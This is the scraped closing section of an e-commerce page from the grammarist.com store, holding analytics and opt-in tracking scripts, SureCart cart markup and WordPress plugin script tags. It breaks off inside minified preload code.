2000<script type="text/rocketlazyloadscript"> 2001document.addEventListener("click", function(event) { 2002 // Log the event to the console 2003 console.log(event); 2004}); 2005document.addEventListener("om.Analytics.track", function (event) { 2006 let eventDetails = event?.detail; 2007 2008 if (!eventDetails) { 2009 console.log("OM - No event details.", event); 2010 return; 2011 } 2012 2013 let analyticsDetails = eventDetails?.Analytics; 2014 let campaignDetails = eventDetails?.Campaign; 2015 let fields = eventDetails?.Optin?.data?.fields; 2016 // console.log( 2017 // "OM - analyticsDetails", 2018 // analyticsDetails, 2019 // "campaignDetails", 2020 // campaignDetails, 2021 // "Optin", 2022 // eventDetails?.Optin, 2023 // "fields", 2024 // fields, 2025 // ); 2026 2027 if ("conversion" === analyticsDetails.type) { 2028 // console.log( 2029 // campaignDetails?.id + 2030 // "-" + 2031 // campaignDetails?.type + 2032 // "-" + 2033 // campaignDetails?.name + 2034 // " successfully tracked a conversion.", 2035 // ); 2036 let omFirstNameEl = document.getElementById("om_firstName"); 2037 let omEmailEl = document.getElementById("om_email"); 2038 // console.log("OM - omFirstNameEl", omFirstNameEl, "omEmailEl", omEmailEl); 2039 2040 if (!omFirstNameEl && !omEmailEl && !fields) { 2041 console.log("OM - Couldn't locate opt-in data."); 2042 return; 2043 } 2044 2045 let omFirstName = fields?.name || omFirstNameEl?.value; 2046 let omEmail = fields?.email || omEmailEl?.value; 2047 _kmq.push(["identify", omEmail]); 2048 _kmq.push([ 2049 "record", 2050 "optinmonster", 2051 { 2052 first_name: omFirstName, 2053 email: omEmail, 2054 campaign_id: campaignDetails?.id, 2055 campaign_name: campaignDetails?.name, 2056 url: window.location.href, 2057 referrer: document.referrer, 2058 }, 2059 ]); 2060 // console.log("OM - KM event logged.", omFirstName, omEmail, campaignDetails?.name); 2061 } else { 2062 // console.log( 2063 // campaignDetails?.id + 2064 // "-" + 2065 // campaignDetails?.type + 2066 // "-" + 2067 // campaignDetails?.name + 2068 // " successfully tracked an impression.", 2069 // ); 2070 } 2071}); 2072 2073document.addEventListener("DOMContentLoaded", function() { 2074 document.querySelectorAll('img').forEach(function(img) { 2075 img.removeAttribute('title'); 2076 }); 2077}) 2078</script>
2078<script> 2079adthrive.cmd.push(function () { 2080 // Disable if the URL matches any of the patterns (Uses Regular Expressions) 2081 adthrive.disableAds([ 2082 'grammarist\.com\/buy.*' 2083 ]); 2084}); 2085</script>
2085<noscript><img height="1" width="1" style="display: none;" src="https://www.facebook.com/tr?id=1141131243559645&ev=PageView&noscript=1&cd%5Bpage_title%5D=Shop&cd%5Bpost_type%5D=page&cd%5Bpost_id%5D=108520&cd%5Bplugin%5D=PixelYourSite&cd%5Buser_role%5D=guest&cd%5Bevent_url%5D=grammarist.com%2Fstore%2F" alt=""></noscript> 2086<!-- Render the cart. --> <div data-wp-context='{"formId":108516,"mode":"live"}' data-wp-interactive='{ "namespace": "surecart/checkout" }' data-wp-init="callbacks.init" data-wp-watch="callbacks.onChangeCheckout" data-wp-on-window--storage="callbacks.syncTabs" class="sc-cart-wrapper is-layout-flow wp-block-surecart-slide-out-cart-is-layout-flow" > <div style="width: 525px" class="sc-drawer sc-cart-drawer wp-block-surecart-slide-out-cart" role="dialog" data-wp-bind--aria-label="surecart/cart::state.ariaLabel" data-wp-class--open="surecart/cart::state.open" data-wp-on--keydown="surecart/cart::actions.handleKeydown" > <!-- Cart alert --> <div class="sc-alert sc-alert__alert--danger" role="alert" aria-live="assertive" aria-atomic="true" data-wp-bind--hidden="!state.error" hidden > <div class="sc-alert__icon"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="12" cy="12" r="10" /> <line x1="12" y1="8" x2="12" y2="12" /> <line x1="12" y1="16" x2="12.01" y2="16" /> </svg> </div> <div class="sc-alert__text"> <div class="sc-alert__title"> <span data-wp-text="state.errorTitle"></span> </div> <div class="sc-alert__message"> <div data-wp-text="state.errorMessage"></div> <template data-wp-each--message="state.additionalErrors"> <div> <span data-wp-text="context.message"></span> </div> </template> </div> </div> </div> <div style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-header"> <div class="wp-block-surecart-slide-out-cart-header__close" data-wp-on--click="surecart/cart::actions.toggle" role="button" tabindex="0" aria-label="Close cart" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="5" y1="12" x2="19" y2="12" /> <polyline points="12 5 19 12 12 19" /> </svg> </div> <span class="wp-block-surecart-slide-out-cart-header__title" inert> Review Your Cart </span> <div class="sc-tag sc-tag--default"> <span data-wp-text="state.itemsCount">0</span> </div> </div> <div class="wp-block-surecart-cart-items__wrapper" style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-items" role="list" > <template data-wp-each--line_item="state.cartLineItems" data-wp-each-key="context.line_item.id" > <div class="sc-product-line-item" role="listitem"> <div class="sc-product-line-item__item"> <img class="sc-product-line-item__image" data-wp-bind--hidden="!context.line_item.image.src" data-wp-bind--src="context.line_item.image.src" data-wp-bind--alt="context.line_item.image.alt" data-wp-bind--srcset="context.line_item.image.srcset" data-wp-bind--sizes="context.line_item.image.sizes" alt="" /> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <a data-wp-bind--href="state.lineItemPermalink" class="sc-product-line-item__title" data-wp-bind--tabindex="state.lineItemPermalink ? '0' : '-1'"> <span data-wp-text="context.line_item.price.product.name"></span> </a> <div class="sc-product-line-item__description sc-product-line-item__price-variant"> <div data-wp-text="state.lineItemVariant"></div> <div data-wp-text="context.line_item.price.name"></div> </div> <div class="sc-input-group sc-input-group-sm sc-quantity-selector" data-wp-class--quantity--disabled="state.isQuantityDisabled" data-wp-bind--hidden="!state.isEditable" hidden > <div class="sc-input-group-text sc-quantity-selector__decrease" role="button" tabindex="0" data-wp-on--click="surecart/checkout::actions.onQuantityDecrease" data-wp-on--keydown="surecart/checkout::actions.onQuantityDecrease" data-wp-bind--disabled="state.isQuantityDecreaseDisabled" data-wp-bind--aria-disabled="state.isQuantityDecreaseDisabled" data-wp-class--button--disabled="state.isQuantityDecreaseDisabled" data-wp-bind--aria-label="surecart/checkout::state.decreaseQuantityAriaLabel" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="5" y1="12" x2="19" y2="12" /> </svg> </div> <input type="number" class="sc-form-control sc-quantity-selector__control" data-wp-bind--value="context.line_item.quantity" data-wp-on--change="surecart/checkout::actions.onQuantityChange" data-wp-bind--min="context.line_item.min" data-wp-bind--aria-valuemin="context.line_item.min" data-wp-bind--max="context.line_item.max" data-wp-bind--aria-valuemax="context.line_item.max" data-wp-bind--aria-valuenow="context.line_item.quantity" data-wp-bind--disabled="surecart/checkout::state.loading" data-wp-bind--aria-label="surecart/checkout::state.quantityInputAriaLabel" step="1" autocomplete="off" role="spinbutton" /> <div class="sc-input-group-text sc-quantity-selector__increase" role="button" tabindex="0" data-wp-on--click="surecart/checkout::actions.onQuantityIncrease" data-wp-on--keydown="surecart/checkout::actions.onQuantityIncrease" data-wp-bind--disabled="state.isQuantityIncreaseDisabled" data-wp-bind--aria-disabled="state.isQuantityIncreaseDisabled" data-wp-class--button--disabled="state.isQuantityIncreaseDisabled" data-wp-bind--aria-label="surecart/checkout::state.increaseQuantityAriaLabel" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="12" y1="5" x2="12" y2="19" /> <line x1="5" y1="12" x2="19" y2="12" /> </svg> </div> </div> <!-- Bundle components (nested items) --> <div class="sc-bundle-components" data-wp-bind--hidden="!state.isBundleParent" hidden > <div class="sc-bundle-components__label"> <span data-wp-text="state.bundleComponentsLabel"></span> </div> <template data-wp-each--component="state.bundleComponents" data-wp-each-key="context.component.id" > <div class="sc-bundle-components__item"> <img class="sc-bundle-components__item-image" data-wp-bind--hidden="!context.component.image.src" data-wp-bind--src="c
2086ontext.component.image.src" data-wp-bind--alt="context.component.price.product.name" alt="" /> <span class="sc-bundle-components__item-name" data-wp-text="context.component.price.product.name"></span> </div> </template> </div> </div> </div> <div class="sc-product-line-item__suffix"> <button class="sc-product-line-item__remove-button" data-wp-bind--aria-label="surecart/checkout::state.removeItemAriaLabel" data-wp-on--click="surecart/checkout::actions.removeLineItem" data-wp-on--keydown="surecart/checkout::actions.removeLineItem" > <svg class="sc-product-line-item__remove" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="18" y1="6" x2="6" y2="18" /> <line x1="6" y1="6" x2="18" y2="18" /> </svg> </button> <div class="sc-product-line-item__price"> <div class="sc-product-line-item__price-amount"> <span> <span data-wp-bind--hidden="!state.lineItemHasScratchAmount" data-wp-text="context.line_item.price.scratchAmount" ></span> <span data-wp-text="context.line_item.subtotal_display_amount"></span> </span> <span class="sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.short_interval_text" data-wp-text="context.line_item.price.short_interval_text" ></span> <span class="sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.short_interval_count_text" data-wp-text="context.line_item.price.short_interval_count_text" ></span> </div> <div class="sc-product-line-item__trial sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.trial_text" data-wp-text="context.line_item.price.trial_text" ></div> <div class="sc-product-line-item__setup-fee sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.setup_fee_text" data-wp-text="context.line_item.price.setup_fee_text" ></div> <div class="sc-product-line-item__purchasable-status sc-product-line-item__price-description" data-wp-text="context.line_item.purchasable_status_display" data-wp-bind--hidden="!context.line_item.purchasable_status_display" role="status" aria-live="polite" aria-atomic="true"> </div> </div> </div> </div> </div> </template> </div> <div style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-coupon" data-wp-context='{"discountInputOpen":false}' data-wp-on-document--click="surecart/checkout::actions.closeCouponOnClickOutside" > <!-- Discount applied Applied coupon UI --> <div class="sc-line-item__item sc-coupon-form" data-wp-bind--hidden="!state.isDiscountApplied" hidden > <div class="sc-line-item__text"> <div class="sc-line-item__description"> Discount <div class="sc-tag sc-tag--warning" data-wp-class--sc-tag--success="state.discountIsRedeemable" data-wp-class--sc-tag--warning="!state.discountIsRedeemable" > <span data-wp-text="state.checkout.discount.promotion.code"></span> <button data-wp-on--click="actions.removeDiscount" id="sc-coupon-remove-discount" title="Delete discount" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="18" y1="6" x2="6" y2="18" /> <line x1="6" y1="6" x2="18" y2="18" /> </svg> </button> </div> </div> </div> <div class="sc-line-item__end"> <div class="sc-line-item__price-text"> <!-- redeemable UI --> <div hidden class="sc-line-item__price-description" data-wp-bind--hidden="!state.discountIsRedeemable"> <span class="coupon-human-discount" data-wp-text="state.checkout.human_discount_with_duration" ></span> </div> <div hidden class="sc-line-item__price" data-wp-bind--hidden="!state.discountIsRedeemable" data-wp-text="state.checkout.discount_display_amount"></div> <!-- non-redeemable UI --> <div class="sc-line-item__price-description" data-wp-bind--hidden="state.discountIsRedeemable"> <div class="sc-coupon__status"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z" /> <line x1="12" y1="9" x2="12" y2="13" />
2086 <line x1="12" y1="17" x2="12.01" y2="17" /> </svg> <span data-wp-text="state.checkout.discount.redeemable_display_status"></span> </div> </div> </div> </div> </div> <!-- Discount Button and Form UI --> <div class="sc-coupon-form" data-wp-bind--hidden="state.isDiscountApplied" > <div> <div data-wp-bind--hidden="context.discountInputOpen" class="trigger" data-wp-on--click="surecart/checkout::actions.toggleDiscountInput" data-wp-on--keydown="surecart/checkout::actions.toggleDiscountInput" aria-role="button" tabindex="0" id="sc-coupon-trigger" > Add Coupon Code </div> <form> <div data-wp-bind--hidden="!context.discountInputOpen" hidden class="sc-input-group sc-coupon-form__input-group" > <input type="text" id="coupon" class="sc-form-control sc-coupon-form__input" aria-label="Coupon code" aria-describedby="coupon-input-addon" placeholder="Enter coupon code" data-wp-bind--value="state.promotionCode" data-wp-on--keydown="surecart/checkout::actions.maybeApplyDiscountOnKeyChange" data-wp-on--keyup="surecart/checkout::actions.maybeApplyDiscountOnKeyChange" > <span class="sc-input-group-text" id="coupon-input-addon"> <button hidden type="submit" data-wp-bind--hidden="!state.promotionCode" data-wp-on--click="actions.applyDiscount" > Apply </button> </span> </div> </form> </div> </div> </div> <div style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-subtotal"> <div class="sc-product-line-item"> <div class="sc-product-line-item__item"> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <div class="sc-product-line-item__title"> <span> Subtotal </span> </div> </div> </div> <div class="sc-product-line-item__suffix"> <div class="sc-product-line-item__price"> <div class="price"> <span data-wp-text="state.checkout.subtotal_display_amount" data-wp-bind--hidden="state.isDiscountApplied"></span> <span hidden data-wp-text="state.checkout.total_display_amount" data-wp-bind--hidden="!state.isDiscountApplied"></span> </div> </div> </div> </div> </div> <div hidden class="sc-product-line-item" data-wp-bind--hidden="!state.checkout.is_installment" > <div class="sc-product-line-item__item"> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <div class="sc-product-line-item__description"> Total Installments <span data-wp-bind--hidden="!state.hasDiscountAmount" hidden> (before discounts) </span> </div> </div> </div> <div class="sc-product-line-item__suffix"> <div class="sc-product-line-item__price"> <div class="price"> <span data-wp-text="state.checkout.full_display_amount"></span> </div> </div> </div> </div> </div> </div> <div style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-bump-line-item" data-wp-bind--hidden="!state.checkout.bump_amount" hidden > <div class="sc-product-line-item"> <div class="sc-product-line-item__item"> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <div class="sc-bump-line-item__description"> <span> Bundle Discount </span> </div> </div> </div> <div class="sc-product-line-item__suffix"> <div class="sc-bump-line-item__price"> <div class="price"> <span data-wp-text="state.checkout.bump_display_amount"></span> </div> </div> </div> </div> </div> </div> <div class="sc-cart-submit__wrapper wp-block-buttons" style="padding:1.25em 1.25em 1.25em 1.25em;" > <div class="wp-block-button"> <a class="wp-block-button__link wp-element-button sc-button__link wp-block-surecart-slide-out-cart-submit" href="https://grammarist.com/checkout/" class="wp-block-button__link wp-element-button sc-button__link" data-wp-bind--disabled="state.loading" data-wp-class--sc-button__link--busy="state.loading" > <span class="sc-spinner" aria-hidden="false"></span> <span class="sc-button__link-text">Checkout</span> </a> </div> </div> <div class="sc-block-ui" data-wp-bind--hidden="!state.loading" hidden></div> </div> <!-- backdrop --> <div class="sc-drawer__backdrop" data-wp-on--mousedown="surecart/cart::actions.closeOverlay" data-wp-on--touchstart="surecart/cart::actions.closeOverlay" data-wp-class--show="surecart/cart::state.o
2086pen" data-wp-on--keydown="surecart/cart::actions.handleKeydown"></div> </div> <!-- Render floating cart icon --> <div data-wp-interactive='{ "namespace": "surecart/checkout" }' class="wp-block-surecart-cart-icon" data-wp-context='{"formId":108516,"mode":"live"}' data-wp-on--click="surecart/cart::actions.toggle" data-wp-on--keydown="surecart/cart::actions.toggle" tabindex="0" role="button" data-wp-bind--hidden="!state.hasItems" hidden > <div class="wp-block-surecart-cart-icon__container"> <div class="wp-block-surecart-cart-icon__icon" aria-label="Cart Button."> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="9" cy="21" r="1" /> <circle cx="20" cy="21" r="1" /> <path d="M1 1h4l2.68 13.39a2 2 0 0 0 2 1.61h9.72a2 2 0 0 0 2-1.61L23 6H6" /> </svg> </div> <span class="wp-block-surecart-cart-icon__count" data-wp-text="state.itemsCount" data-wp-bind--aria-label="state.itemsCountAriaLabel" >0</span> </div> </div> <div 2087 class="wp-interactivity-router-loading-bar" 2088 data-wp-interactive="core/router/private" 2089 data-wp-class--start-animation="state.navigation.hasStarted" 2090 data-wp-class--finish-animation="state.navigation.hasFinished" 2091 ></div>
2091<script id="wp-url-js" src="https://grammarist.com/wp-includes/js/dist/url.min.js?ver=7b0de086d4ae11d55704"></script>
vendor: 1 bytes, line 2091
2091
2092<script id="wp-hooks-js" src="https://grammarist.com/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255"></script>
vendor: 1 bytes, line 2092
2092
2093<script id="wp-i18n-js" src="https://grammarist.com/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216"></script>
vendor: 1 bytes, line 2093
2093
2094<script type="text/rocketlazyloadscript" id="wp-i18n-js-after"> 2095wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); 2096//# sourceURL=wp-i18n-js-after 2097</script>
vendor: 1 bytes, line 2097
2097
2098<script type="text/rocketlazyloadscript" id="wp-private-apis-js" data-rocket-src="https://grammarist.com/wp-includes/js/dist/private-apis.min.js?ver=eb85f28c4c729bb4f002"></script>
vendor: 1 bytes, line 2098
2098
2099<script id="wp-api-fetch-js" src="https://grammarist.com/wp-includes/js/dist/api-fetch.min.js?ver=6f2a4faeee3c722b1e57"></script>
vendor: 1 bytes, line 2099
2099
2100<script type="text/rocketlazyloadscript" id="wp-api-fetch-js-after"> 2101wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "https://grammarist.com/wp-json/" ) ); 2102wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "625323a4ee" ); 2103wp.apiFetch.use( wp.apiFetch.nonceMiddleware ); 2104wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware ); 2105wp.apiFetch.nonceEndpoint = "https://grammarist.com/wp-admin/admin-ajax.php?action=rest-nonce"; 2106//# sourceURL=wp-api-fetch-js-after 2107</script>
vendor: 1 bytes, line 2107
2107
2108<script id="wp-dom-ready-js" src="https://grammarist.com/wp-includes/js/dist/dom-ready.min.js?ver=3fe927cab37bf38d6a23"></script>
vendor: 1 bytes, line 2108
2108
2109<script id="wp-a11y-js" src="https://grammarist.com/wp-includes/js/dist/a11y.min.js?ver=31c6cec5a4ff7aff483d"></script>
vendor: 1 bytes, line 2109
2109
2110<script id="generate-offside-js-extra"> 2111var offSide = {"side":"right"}; 2112//# sourceURL=generate-offside-js-extra 2113</script>
vendor: 1 bytes, line 2113
2113
2114<script type="text/rocketlazyloadscript" id="generate-offside-js" data-rocket-src="https://grammarist.com/wp-content/plugins/gp-premium/menu-plus/functions/js/offside.min.js?ver=2.5.6"></script>
vendor: 1 bytes, line 2114
2114
2115<script id="convertkit-js-js-extra"> 2116var convertkit_broadcasts = {"ajax_url":"https://grammarist.com/wp-json/kit/v1/broadcasts","debug":""}; 2117var convertkit = {"debug":"","subscriber_id":"0"}; 2118//# sourceURL=convertkit-js-js-extra 2119</script>
vendor: 1 bytes, line 2119
2119
2120<script type="text/rocketlazyloadscript" id="convertkit-js-js" data-rocket-src="https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/js/dist/frontend.min.js?ver=3.4.3"></script>
vendor: 1 bytes, line 2120
2120
2121<script type="text/rocketlazyloadscript" id="dpsp-frontend-js-pro-js-before"> 2122 var dpsp_pin_button_data = {"pin_description_source":"post_pinterest_description","pinterest_pinnable_images":"post_images","pinterest_button_share_behavior":"post_image","post_pinterest_image_hidden":"yes","post_multiple_hidden_pinterest_images":"yes","button_position":"top_left","button_shape":"rectangular","minimum_image_width":"","minimum_image_height":"","show_button_text_label":"yes","button_text_label":"Save","show_image_overlay":"yes","button_share_behavior":"post_image","post_type_display":["post","page"]} 2123 2124//# sourceURL=dpsp-frontend-js-pro-js-before 2125</script>
vendor: 1 bytes, line 2125
2125
2126<script type="text/rocketlazyloadscript" data-minify="1" id="dpsp-frontend-js-pro-js" async data-noptimize data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/social-pug/assets/dist/front-end-pro.js?ver=1789058374"></script>
vendor: 1 bytes, line 2126
2126
2127<script id="st-trigger-button-script-js-extra"> 2128var st_ajax_object = {"ajax_url":"https://grammarist.com/wp-admin/admin-ajax.php"}; 2129//# sourceURL=st-trigger-button-script-js-extra 2130</script>
vendor: 1 bytes, line 2130
2130
2131<script type="text/rocketlazyloadscript" data-minify="1" id="st-trigger-button-script-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/suretriggers/assets/js/st-trigger-button.js?ver=1789058374"></script>
vendor: 1 bytes, line 2131
2131
2132<script id="ta_main_js-js-extra"> 2133var thirsty_global_vars = {"home_url":"//grammarist.com","ajax_url":"https://grammarist.com/wp-admin/admin-ajax.php","link_fixer_enabled":"yes","link_prefix":"recommends","link_prefixes":{"2":"recommends"},"post_id":"108520","enable_record_stats":"yes","enable_js_redirect":"yes","disable_thirstylink_class":""}; 2134//# sourceURL=ta_main_js-js-extra 2135</script>
vendor: 1 bytes, line 2135
2135
2136<script type="text/rocketlazyloadscript" id="ta_main_js-js" data-rocket-src="https://grammarist.com/wp-content/plugins/thirstyaffiliates/js/app/ta.min.js?ver=3.12.0"></script>
vendor: 1 bytes, line 2136
2136
2137<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-course-grid-skin-grid-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/skins/grid/script.js?ver=1789058374"></script>
vendor: 1 bytes, line 2137
2137
2138<script id="learndash-js-extra"> 2139var LearnDash_Course_Grid = {"ajaxurl":"https://grammarist.com/wp-admin/admin-ajax.php","nonce":{"load_posts":"b578f06876"}}; 2140//# sourceURL=learndash-js-extra 2141</script>
vendor: 1 bytes, line 2141
2141
2142<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/assets/js/script.js?ver=1789058374"></script>
vendor: 1 bytes, line 2142
2142
2143<script id="dlm-xhr-js-extra"> 2144var dlmXHRtranslations = {"error":"An error occurred while trying to download the file. Please try again.","not_found":"Download does not exist.","no_file_path":"No file path defined.","no_file_paths":"No file paths defined.","filetype":"Download is not allowed for this file type.","file_access_denied":"Access denied to this file.","access_denied":"Access denied. You do not have permission to download this file.","security_error":"Something is wrong with the file path.","file_not_found":"File not found."}; 2145//# sourceURL=dlm-xhr-js-extra 2146</script>
vendor: 1 bytes, line 2146
2146
2147<script type="text/rocketlazyloadscript" id="dlm-xhr-js-before"> 2148const dlmXHR = {"xhr_links":{"class":["download-link","download-button"]},"prevent_duplicates":true,"ajaxUrl":"https:\/\/grammarist.com\/wp-admin\/admin-ajax.php"}; dlmXHRinstance = {}; const dlmXHRGlobalLinks = "https://grammarist.com/download/"; const dlmNonXHRGlobalLinks = []; dlmXHRgif = "https://grammarist.com/wp-includes/images/spinner.gif"; const dlmXHRProgress = "1" 2149//# sourceURL=dlm-xhr-js-before 2150</script>
vendor: 1 bytes, line 2150
2150
2151<script type="text/rocketlazyloadscript" id="dlm-xhr-js" data-rocket-src="https://grammarist.com/wp-content/plugins/download-monitor/assets/js/dlm-xhr.min.js?ver=5.2.9"></script>
vendor: 1 bytes, line 2151
2151
2152<script type="text/rocketlazyloadscript" id="dlm-xhr-js-after"> 2153document.addEventListener("dlm-xhr-modal-data", function(event) { if ("undefined" !== typeof event.detail.headers["x-dlm-tc-required"]) { event.detail.data["action"] = "dlm_terms_conditions_modal"; event.detail.data["dlm_modal_response"] = "true"; }}); 2154document.addEventListener("dlm-xhr-modal-data", function(event) {if ("undefined" !== typeof event.detail.headers["x-dlm-members-locked"]) {event.detail.data["action"] = "dlm_members_conditions_modal";event.detail.data["dlm_modal_response"] = "true";event.detail.data["dlm_members_form_redirect"] = "https://grammarist.com/store/";}}); 2155//# sourceURL=dlm-xhr-js-after 2156</script>
vendor: 1 bytes, line 2156
2156
2157<script id="uagb-loop-builder-js-extra"> 2158var uagb_loop_builder = {"ajax_url":"https://grammarist.com/wp-admin/admin-ajax.php","post_id":"108520","nonce":"a285abc1df"}; 2159//# sourceURL=uagb-loop-builder-js-extra 2160</script>
vendor: 1 bytes, line 2160
2160
2161<script type="text/rocketlazyloadscript" data-minify="1" id="uagb-loop-builder-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/spectra-pro/assets/js/loop-builder.js?ver=1789058374"></script>
vendor: 1 bytes, line 2161
2161
2162<script type="text/rocketlazyloadscript" id="rocket-browser-checker-js-after"> 2163"use strict";var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}();function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}var RocketBrowserCompatibilityChecker=function(){function RocketBrowserCompatibilityChecker(options){_classCallCheck(this,RocketBrowserCompatibilityChecker),this.passiveSupported=!1,this._checkPassiveOption(this),this.options=!!this.passiveSupported&&options}return _createClass(RocketBrowserCompatibilityChecker,[{key:"_checkPassiveOption",value:function(self){try{var options={get passive(){return!(self.passiveSupported=!0)}};window.addEventListener("test",null,options),window.removeEventListener("test",null,options)}catch(err){self.passiveSupported=!1}}},{key:"initRequestIdleCallback",value:function(){!1 in window&&(window.requestIdleCallback=function(cb){var start=Date.now();return setTimeout(function(){cb({didTimeout:!1,timeRemaining:function(){return Math.max(0,50-(Date.now()-start))}})},1)}),!1 in window&&(window.cancelIdleCallback=function(id){return clearTimeout(id)})}},{key:"isDataSaverModeOn",value:function(){return"connection"in navigator&&!0===navigator.connection.saveData}},{key:"supportsLinkPrefetch",value:function(){var elem=document.createElement("link");return elem.relList&&elem.relList.supports&&elem.relList.supports("prefetch")&&window.IntersectionObserver&&"isIntersecting"in IntersectionObserverEntry.prototype}},{key:"isSlowConnection",value:function(){return"connection"in navigator&&"effectiveType"in navigator.connection&&("2g"===navigator.connection.effectiveType||"slow-2g"===navigator.connection.effectiveType)}}]),RocketBrowserCompatibilityChecker}(); 2164//# sourceURL=rocket-browser-checker-js-after 2165</script>
vendor: 1 bytes, line 2165
2165
2166<script id="rocket-preload-links-js-extra"> 2167var RocketPreloadLinksConfig = {"excludeUris":"/wp-json/|/customer-dashboard/|/checkout/|/shop/|/mockup%20/website%20ph_apikey%20access_token/|/(?:.+/)?feed(?:/(?:.+/?)?)?$|/(?:.+/)?embed/|/(index.php/)?(.*)wp-json(/.*|$)|/recommends/","usesTrailingSlash":"1","imageExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php","fileExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php|html|htm","siteUrl":"https://grammarist.com","onHoverDelay":"100","rateThrottle":"3"}; 2168//# sourceURL=rocket-preload-links-js-extra 2169</script>
vendor: 1 bytes, line 2169
2169
2170<script type="text/rocketlazyloadscript" id="rocket-preload-links-js-after"> 2171(function() { 2172"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e=function(){function i(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),e}}();function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var t=function(){function n(e,t){i(this,n),this.browser=e,this.config=t,this.options=this.browser.options,this.prefetched=new Set,this.eventTime=null,this.threshold=1111,this.numOnHover=0}return 